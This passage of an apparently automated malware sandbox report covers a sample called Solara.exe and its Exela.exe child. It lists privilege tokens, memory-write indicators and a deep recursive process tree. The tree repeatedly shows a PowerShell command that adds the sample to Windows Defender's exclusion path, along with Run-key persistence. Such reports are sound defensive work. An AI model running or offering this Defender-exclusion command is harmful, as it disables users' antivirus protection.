WMIC.exe Token: SeIncreaseQuotaPrivilege 1216 WMIC.exe Token: SeSecurityPrivilege 1216 WMIC.exe Token: SeTakeOwnershipPrivilege 1216 WMIC.exe Token: SeLoadDriverPrivilege 1216 WMIC.exe Token: SeSystemProfilePrivilege 1216 WMIC.exe Token: SeSystemtimePrivilege 1216 WMIC.exe Token: SeProfSingleProcessPrivilege 1216 WMIC.exe Token: SeIncBasePriorityPrivilege 1216 WMIC.exe Token: SeCreatePagefilePrivilege 1216 WMIC.exe Token: SeBackupPrivilege 1216 WMIC.exe Token: SeRestorePrivilege 1216 WMIC.exe Token: SeShutdownPrivilege 1216 WMIC.exe Token: SeDebugPrivilege 1216 WMIC.exe Token: SeSystemEnvironmentPrivilege 1216 WMIC.exe Token: SeRemoteShutdownPrivilege 1216 WMIC.exe Token: SeUndockPrivilege 1216 WMIC.exe Token: SeManageVolumePrivilege 1216 WMIC.exe Token: 33 1216 WMIC.exe Token: 34 1216 WMIC.exe Token: 35 1216 WMIC.exe Token: 36 1216 WMIC.exe Token: SeIncreaseQuotaPrivilege 1572 WMIC.exe Token: SeSecurityPrivilege 1572 WMIC.exe Token: SeTakeOwnershipPrivilege 1572 WMIC.exe Token: SeLoadDriverPrivilege 1572 WMIC.exe Token: SeSystemProfilePrivilege 1572 WMIC.exe Token: SeSystemtimePrivilege 1572 WMIC.exe Token: SeProfSingleProcessPrivilege 1572 WMIC.exe Token: SeIncBasePriorityPrivilege 1572 WMIC.exe Token: SeCreatePagefilePrivilege 1572 WMIC.exe Token: SeBackupPrivilege 1572 WMIC.exe Token: SeRestorePrivilege 1572 WMIC.exe Token: SeShutdownPrivilege 1572 WMIC.exe Token: SeDebugPrivilege 1572 WMIC.exe Token: SeSystemEnvironmentPrivilege 1572 WMIC.exe Token: SeRemoteShutdownPrivilege 1572 WMIC.exe Token: SeUndockPrivilege 1572 WMIC.exe Token: SeManageVolumePrivilege 1572 WMIC.exe Token: 33 1572 WMIC.exe Token: 34 1572 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2548 wrote to memory of 1520 2548 Solara.exe 110 PID 2548 wrote to memory of 1520 2548 Solara.exe 110 PID 2548 wrote to memory of 1104 2548 Solara.exe 79 PID 2548 wrote to memory of 1104 2548 Solara.exe 79 PID 2548 wrote to memory of 4504 2548 Solara.exe 80 PID 2548 wrote to memory of 4504 2548 Solara.exe 80 PID 2548 wrote to memory of 3488 2548 Solara.exe 82 PID 2548 wrote to memory of 3488 2548 Solara.exe 82 PID 3488 wrote to memory of 4568 3488 Exela.exe 83 PID 3488 wrote to memory of 4568 3488 Exela.exe 83 PID 4568 wrote to memory of 900 4568 Exela.exe 84 PID 4568 wrote to memory of 900 4568 Exela.exe 84 PID 1104 wrote to memory of 2792 1104 Solara.exe 165 PID 1104 wrote to memory of 2792 1104 Solara.exe 165 PID 4568 wrote to memory of 2392 4568 Exela.exe 88 PID 4568 wrote to memory of 2392 4568 Exela.exe 88 PID 4568 wrote to memory of 4624 4568 Exela.exe 89 PID 4568 wrote to memory of 4624 4568 Exela.exe 89 PID 4568 wrote to memory of 5052 4568 Exela.exe 90 PID 4568 wrote to memory of 5052 4568 Exela.exe 90 PID 4568 wrote to memory of 5024 4568 Exela.exe 91 PID 4568 wrote to memory of 5024 4568 Exela.exe 91 PID 2392 wrote to memory of 1572 2392 cmd.exe 96 PID 2392 wrote to memory of 1572 2392 cmd.exe 96 PID 4624 wrote to memory of 1216 4624 cmd.exe 97 PID 4624 wrote to memory of 1216 4624 cmd.exe 97 PID 5024 wrote to memory of 112 5024 cmd.exe 99 PID 5024 wrote to memory of 112 5024 cmd.exe 99 PID 4568 wrote to memory of 2712 4568 Exela.exe 100 PID 4568 wrote to memory of 2712 4568 Exela.exe 100 PID 2712 wrote to memory of 3404 2712 cmd.exe 102 PID 2712 wrote to memory of 3404 2712 cmd.exe 102 PID 1104 wrote to memory of 1556 1104 Solara.exe 103 PID 1104 wrote to memory of 1556 1104 Solara.exe 103 PID 1104 wrote to memory of 3144 1104 Solara.exe 167 PID 1104 wrote to memory of 3144 1104 Solara.exe 167 PID 1104 wrote to memory of 3492 1104 Solara.exe 106 PID 1104 wrote to memory of 3492 1104 Solara.exe 106 PID 4568 wrote to memory of 2144 4568 Exela.exe 107 PID 4568 wrote to memory of 2144 4568 Exela.exe 107 PID 4568 wrote to memory of 3740 4568 Exela.exe 108 PID 4568 wrote to memory of 3740 4568 Exela.exe 108 PID 2144 wrote to memory of 1828 2144 cmd.exe 111 PID 2144 wrote to memory of 1828 2144 cmd.exe 111 PID 3492 wrote to memory of 3020 3492 Exela.exe 112 PID 3492 wrote to memory of 3020 3492 Exela.exe 112 PID 3740 wrote to memory of 1592 3740 cmd.exe 113 PID 3740 wrote to memory of 1592 3740 cmd.exe 113 PID 4568 wrote to memory of 1540 4568 Exela.exe 114 PID 4568 wrote to memory of 1540 4568 Exela.exe 114 PID 1540 wrote to memory of 2624 1540 cmd.exe 116 PID 1540 wrote to memory of 2624 1540 cmd.exe 116 PID 4568 wrote to memory of 1420 4568 Exela.exe 117 PID 4568 wrote to memory of 1420 4568 Exela.exe 117 PID 1420 wrote to memory of 1516 1420 cmd.exe 119 PID 1420 wrote to memory of 1516 1420 cmd.exe 119 PID 4568 wrote to memory of 1732 4568 Exela.exe 120 PID 4568 wrote to memory of 1732 4568 Exela.exe 120 PID 4568 wrote to memory of 4236 4568 Exela.exe 121 PID 4568 wrote to memory of 4236 4568 Exela.exe 121 PID 4568 wrote to memory of 4920 4568 Exela.exe 122 PID 4568 wrote to memory of 4920 4568 Exela.exe 122 PID 4568 wrote to memory of 1984 4568 Exela.exe 123 PID 4568 wrote to memory of 1984 4568 Exela.exe 123 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2624 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1520
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2792
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"3⤵PID:1556
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:688
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"4⤵
- Adds Run key to start application
PID:3484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3144
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"5⤵
- Adds Run key to start application
PID:672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1580
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"6⤵
- Adds Run key to start application
PID:4392 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1540
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"7⤵PID:3084
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'8⤵
- Suspicious behavior: EnumeratesProcesses
PID:1732 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:2656
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"8⤵
- Adds Run key to start application
PID:4896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:764
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"9⤵
- Adds Run key to start application
PID:1872 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'10⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3908
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"10⤵
- Adds Run key to start application
PID:4756 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2624
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"11⤵
- Adds Run key to start application
PID:5044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'12⤵
- Suspicious behavior: EnumeratesProcesses
PID:3356
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"12⤵PID:5112
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4508
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"13⤵PID:2228
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3564
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"14⤵
- Adds Run key to start application
PID:5104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'15⤵
- Suspicious behavior: EnumeratesProcesses
PID:1516
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"15⤵
- Adds Run key to start application
PID:2196 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'16⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4160
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"16⤵
- Adds Run key to start application
PID:1436 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'17⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:8
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"17⤵PID:2432
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'18⤵PID:2004
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"18⤵
- Adds Run key to start application
PID:4788 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'19⤵PID:4164
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"19⤵
- Adds Run key to start application
PID:2484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'20⤵
- Command and Scripting Interpreter: PowerShell
PID:2996
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"20⤵
- Adds Run key to start application
PID:3744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'21⤵
- Command and Scripting Interpreter: PowerShell
PID:4848
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"21⤵
- Adds Run key to start application
PID:4720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'22⤵PID:4368
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"22⤵
- Adds Run key to start application
PID:1964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'23⤵
- Command and Scripting Interpreter: PowerShell
PID:3420
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"23⤵
- Adds Run key to start application
PID:3916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'24⤵PID:856
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"24⤵
- Adds Run key to start application
PID:1524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'25⤵PID:1208
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"25⤵
- Adds Run key to start application
PID:480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'26⤵
- Command and Scripting Interpreter: PowerShell
PID:3284
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"26⤵
- Adds Run key to start application
PID:4432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'27⤵
- Command and Scripting Interpreter: PowerShell
PID:3140
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"27⤵
- Adds Run key to start application
PID:4932 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'28⤵PID:4668
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"28⤵
- Adds Run key to start application
PID:3744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'29⤵PID:1724
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"29⤵
- Adds Run key to start application
PID:2264 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'30⤵
- Command and Scripting Interpreter: PowerShell
PID:4652
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"30⤵
- Adds Run key to start application
PID:4376 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'31⤵PID:4360
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"31⤵
- Adds Run key to start application
PID:1772 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'32⤵PID:4160
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"32⤵
- Adds Run key to start application
PID:4144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'33⤵
- Command and Scripting Interpreter: PowerShell
PID:2856
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"33⤵
- Adds Run key to start application
PID:2032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'34⤵
- Command and Scripting Interpreter: PowerShell
PID:2740
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"34⤵
- Adds Run key to start application
PID:3152 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'35⤵
- Command and Scripting Interpreter: PowerShell
PID:2264
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"35⤵
- Adds Run key to start application
PID:2012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'36⤵PID:5116
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"36⤵
- Adds Run key to start application
PID:5036 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'37⤵
- Command and Scripting Interpreter: PowerShell
PID:1812
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"37⤵
- Adds Run key to start application
PID:4164 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'38⤵
- Command and Scripting Interpreter: PowerShell
PID:852
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"38⤵
- Adds Run key to start application
PID:4144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'39⤵
- Command and Scripting Interpreter: PowerShell
PID:2228
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"39⤵
- Adds Run key to start application
PID:1748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'40⤵PID:1128
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"40⤵
- Adds Run key to start application
PID:3820 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'41⤵
- Command and Scripting Interpreter: PowerShell
PID:4280
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"41⤵
- Adds Run key to start application
PID:2256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'42⤵PID:2204
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"42⤵PID:552
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'43⤵
- Command and Scripting Interpreter: PowerShell
PID:1804
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"43⤵PID:2236
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'44⤵PID:1300
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"44⤵PID:3008
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'45⤵
- Command and Scripting Interpreter: PowerShell
PID:2240
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"45⤵
- Adds Run key to start application
PID:2996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'46⤵
- Command and Scripting Interpreter: PowerShell
PID:1572
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"46⤵PID:2836
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'47⤵
- Command and Scripting Interpreter: PowerShell
PID:716
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"47⤵
- Adds Run key to start application
PID:244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'48⤵
- Command and Scripting Interpreter: PowerShell
PID:3744
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"48⤵
- Adds Run key to start application
PID:4716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'49⤵PID:1508
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"49⤵
- Adds Run key to start application
PID:764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'50⤵
- Command and Scripting Interpreter: PowerShell
PID:3956
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"50⤵PID:916
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'51⤵PID:2396
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"51⤵
- Adds Run key to start application
PID:1208 -
